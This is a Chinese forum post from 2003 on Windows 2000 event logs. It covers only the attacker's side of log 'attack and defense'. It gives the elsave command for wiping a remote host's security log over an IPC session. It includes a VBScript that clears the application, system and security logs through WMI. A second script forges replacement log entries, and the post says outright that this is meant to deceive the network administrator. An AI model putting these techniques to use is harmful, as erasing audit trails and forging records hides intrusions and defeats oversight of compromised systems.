|
|
3楼

楼主 |
发表于 2003-10-18 21:19:00
|
只看该作者
说日志
日志攻防战(以下操作在Windows2000 Advanced Server中通过)
1.攻——让日志死去吧
要让日志死掉不说话是很难的,因为日志是由系统来管理、保护的,一般情况下是禁止删除或修改。此外,它还与注册表密切相关,所以在Windows 2000中删除日志首先要取得系统管理员权限,因为安全日志和系统日志必须由系统管理员方可查看,然后才可以删除它们(或者停掉这些服务),而安全日志的删除就更为麻烦。
这里可以借助一个第三方软件来实现,那就是小榕的elsave:在获得系统管理员权限后,与对方建立IPC管理会话,输入net use \\对方IP pass /user: user,然后输入elsave -s \\对方IP -l application -C,这样就删除了安全日志。
当然,达人级的攻击者还会利用VBS脚本来达到目的,代码如下:
cleanevent.vbs
strComputer = .
Set objWMIService = GetObject(winmgmts: _
{impersonationLevel=impersonate,(Backup)}!\\ _
strComputer \root\cimv2)
dim mylogs(3)
mylogs(1)=application
mylogs(2)=system
mylogs(3)=security
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
(Select * from Win32_NTEventLogFile where LogFileName=’logs’)
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next
然后他要做的是重新建立假的日志(要是日志突然什么都没有了,再笨的管理员也知道发生什么了),一样使用VBS脚本:
createlog.vbs
set ws=wscript.createobject(Wscript.shell)
ws.logevent 0 ,write log success
关键在于“logevent”后的数字参数。0代表成功执行,1代表执行出错 ,2代表警告 ,4代表信息 ,8代表成功审计,16代表故障审计。所以上面代码中,把0改为1、2、4、8和16均可,引号下的为日志描述,想怎么写都成,当然用点心骗网管是最好的。
这种方法有点麻烦,但不知道为什么,比尔.盖茨在XP系统中了为了方便广大黑客哥们,居然提供了一个更方便的工具eventcreate.exe,晕~
|
|